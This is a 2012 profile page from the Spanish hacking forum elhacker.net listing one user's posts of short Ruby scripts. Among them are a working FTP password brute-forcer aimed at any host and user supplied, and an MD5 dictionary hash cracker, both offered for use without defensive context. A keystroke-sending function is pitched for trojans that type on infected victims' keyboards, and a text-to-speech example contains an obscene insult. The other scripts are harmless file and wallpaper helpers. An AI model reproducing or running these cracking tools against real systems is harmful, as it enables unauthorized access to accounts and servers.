elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
391  Programación / Scripting / Re: [Ruby] Funcion send() en: 11 Febrero 2012, 00:25 am
me referia al uso que se le pueda dar , por ejemplo hacer que los programas se manejen y escriban solos como lo hace la instalacion de XP coloso , o se podria hacer un virus que escriba solo y esas cosas , a eso me referia.
392  Foros Generales / Foro Libre / Re: Amor del geek ! en: 11 Febrero 2012, 00:13 am
Es marketing claramente...es una aplicación...para que programar una aplicación entera pudiendo enviarle una postal hecha por ejemplo con photoshop? Nadie aprende a hacer eso en 2 meses.

no lo habia pensado asi , pero pueda que sea cierto.
393  Programación / Scripting / Re: [Ruby] Funcion send() en: 10 Febrero 2012, 23:59 pm
y si , pero no se si eso es bueno o malo xD.
 
394  Programación / Scripting / [Ruby] CrackHash 0.1 en: 10 Febrero 2012, 21:04 pm
Un simple codigo en ruby para crackear un hash md5 con un diccionario.

Código
  1. #!usr/bin/ruby
  2. #CrackHash 0.1
  3. #Coded By Doddy H
  4. #Test with 202cb962ac59075b964b07152d234b70 = 123
  5.  
  6. require "digest/md5"
  7.  
  8. def openwords(file)
  9.  if File.file?(file)
  10.    print "\n[+] Opening file\n\n"
  11.    ar = File.open(file)
  12.    lineas = ar.readlines
  13.    ar.close
  14.    print "[+] Number of words : ",lineas.length,"\n\n"
  15.    return lineas
  16.  else
  17.    print "[-] Error opening file\n"
  18.  end
  19. end
  20.  
  21. def sintax()
  22.  print "\n[+] ruby crack.rb <hash> <wordlist>\n"
  23. end
  24.  
  25. def head()
  26.  print "\n-- == CrackHash 0.1 == --\n\n"
  27. end
  28.  
  29. def copyright()
  30.  print "\n\n(C) Doddy Hackman 2012\n"
  31.  exit(1)
  32. end
  33.  
  34. hash = ARGV[0]
  35. wordlist = ARGV[1]
  36.  
  37. head()
  38.  
  39. if !hash and !wordlist
  40.  sintax()
  41. else
  42.  if hash.length ==32
  43.    words = openwords(wordlist)
  44.    print "\n[+] Cracking hash...\n\n"
  45.    words.each do |word|
  46.      word = word.chomp
  47.      if Digest::MD5.hexdigest(word) == hash
  48.        print "\a\a\n[+] Hash cracked : ",word,"\n"
  49.        copyright()
  50.      end      
  51.    end
  52.    print "\n[-] Hash not found\n\n"
  53.  else
  54.    print "\n[-] Hash invalid\n\n"
  55.    copyright()      
  56.  end
  57. end
  58.  
  59. copyright()
  60.  
  61.  
  62. # The End ?
  63.  
395  Programación / Scripting / [Ruby] FTP Crack 0.1 en: 10 Febrero 2012, 21:04 pm
Un simple codigo en ruby para crackear un server FTP mediante un diccionario.

Código
  1. #!usr/bin/ruby
  2. #FTP Crack 0.1
  3. #Coded By Doddy H
  4.  
  5. require "net/ftp"
  6.  
  7. def openwords(file)
  8.  if File.file?(file)
  9.    print "\n[+] Opening file\n\n"
  10.    ar = File.open(file)
  11.    lineas = ar.readlines
  12.    ar.close
  13.    print "[+] Number of words : ",lineas.length,"\n\n"
  14.    return lineas
  15.  else
  16.    print "[-] Error opening file\n"
  17.  end
  18. end
  19.  
  20. def sintax()
  21.  print "\n[+] ruby ftpcrack.rb <host> <user> <wordlist>\n"
  22. end
  23.  
  24. def head()
  25.  print "\n-- == FTP Crack 0.1 == --\n\n"
  26. end
  27.  
  28. def copyright()
  29.  print "\n\n(C) Doddy Hackman 2012\n"
  30.  exit(1)
  31. end
  32.  
  33. host = ARGV[0]
  34. user = ARGV[1]
  35. wordlist = ARGV[2]
  36.  
  37. head()
  38.  
  39. if !host and !user and !wordlist
  40.  sintax()
  41. else
  42.  words = openwords(wordlist)
  43.  print "\n[+] Cracking ...\n\n"
  44.  words.each do |word|
  45.    word = word.chomp
  46.    begin
  47.    ftp =Net::FTP.new(host,user,word)
  48.    rescue Net::FTPPermError
  49.    else
  50.      print "\a\a\n[+] Password Cracked : ",word,"\n"
  51.      copyright()
  52.    end
  53.  end
  54.  print "\n[-] Pass not found\n"
  55. end
  56.  
  57. copyright()
  58.  
  59. # The End ?
  60.  
396  Programación / Scripting / [Ruby] Funcion cambiarfondo() en: 10 Febrero 2012, 21:03 pm
Una simple funcion en ruby para cambiar el fondo de Windows, lo eh probado en window seven y anda bien.

Código
  1. #!usr/bin/ruby
  2. #Funcion cambiarfondo()
  3. #Based on a code of protos
  4.  
  5. require "Win32API"
  6.  
  7. def cambiarfondo(imagen)
  8.  fondo = Win32API.new("user32", "SystemParametersInfo", ['L', 'L', 'P', 'L'], 'L')
  9.  fondo.Call(20, 0, imagen, 0)
  10. end
  11.  
  12. cambiarfondo("fondo/test.jpg");
  13.  
  14. #The End ?
  15.  
397  Programación / Scripting / [Ruby] Funcion openwords() en: 10 Febrero 2012, 21:03 pm
Una simple funcion en ruby para cargar un archivo de texto , la funcion retorna un array con las palabras encontradas en el archivo de texto.

Código
  1. #!usr/bin/ruby
  2. #Funcion openwords()
  3. #Coded By Doddy H
  4.  
  5. def openwords(file)
  6.  if File.file?(file)
  7.    print "[+] Opening file\n\n"
  8.    ar = File.open(file)
  9.    lineas = ar.readlines
  10.    ar.close
  11.    print "[+] Number of words : ",lineas.length,"\n\n"
  12.    return lineas
  13.  else
  14.    print "[-] Error opening file\n"
  15.  end
  16. end
  17.  
  18. words = openwords("test.txt")
  19. words.each do |word|
  20.  word = word.chomp
  21.  print "[+] Word : ",word
  22. end
  23.  
  24. #The End ?
  25.  
398  Programación / Scripting / [Ruby] Funcion savefile() en: 10 Febrero 2012, 21:02 pm
Una simple funcion en ruby para escribir en un archivo de texto.

Código
  1. #!usr/bin/ruby
  2. #Funcion savefile()
  3. #Coded By Doddy H
  4.  
  5. def savefile(file,text)
  6.  save = File.open(file, "a")
  7.  save.puts text+"\n"
  8.  save.close
  9. end
  10.  
  11. savefile("test.txt","probando")
  12.  
  13. #The End ?
  14.  
  15.  
  16.  
399  Programación / Scripting / [Ruby] Funcion send() en: 10 Febrero 2012, 19:02 pm
Una funcion para mandar teclas , es una funcion interesante si estas pensando en un troyano ya que podrian escribir de forma remota en el teclado de la persona infectada por dicho troyano.

Código
  1. #!usr/bin/ruby
  2. #Funcion send()
  3. #Coded By Doddy H
  4.  
  5. require "win32ole"
  6.  
  7. def send(decir)
  8.  test = WIN32OLE.new('Wscript.Shell')
  9.  test.SendKeys(decir)
  10. end
  11.  
  12. send("no tengas miedo.....")
  13.  
  14. # The End ?
  15.  
400  Programación / Scripting / [Ruby] Funcion speak() en: 10 Febrero 2012, 19:02 pm
Una simple funcion para hacer hablar a la computadora , no se emocionen solo habla en ingles , cabe destacar que este funcion no anda en Window Seven , pero si en Vista y XP.

Código
  1. #!usr/bin/ruby
  2. #Funcion speak()
  3. #Coded by Doddy H
  4.  
  5. require "win32ole"
  6.  
  7. def speak(text)
  8.  test = WIN32OLE.new("SAPI.Spvoice")
  9.  test.Speak(text)
  10. end
  11.  
  12. speak("Hi stupid ,i like fuck your mother")
  13.  
  14. #The End ?
  15.  
Páginas: 1 ... 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 [40] 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines